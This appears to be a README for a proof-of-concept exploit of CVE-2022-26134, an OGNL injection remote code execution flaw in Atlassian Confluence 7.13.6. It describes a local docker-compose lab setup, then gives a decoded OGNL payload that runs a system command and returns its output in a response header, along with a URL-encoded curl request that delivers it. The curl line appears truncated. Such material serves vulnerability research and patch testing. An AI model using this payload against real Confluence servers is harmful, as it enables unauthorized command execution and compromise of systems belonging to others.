POC - Atlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)

Tested on Confluence Version 7.13.6

Setting up environment

• Clone the repository

docker-compose up -d 

• On http://localhost:8090 you shall see confluence up and running.

• Next, get an evaluation license for Confluence and setup the database with database name confluence, username postgres and password root.

Exploit

• Decoded payload

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

• Curl request

curl -v "http://localhost:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%

• POC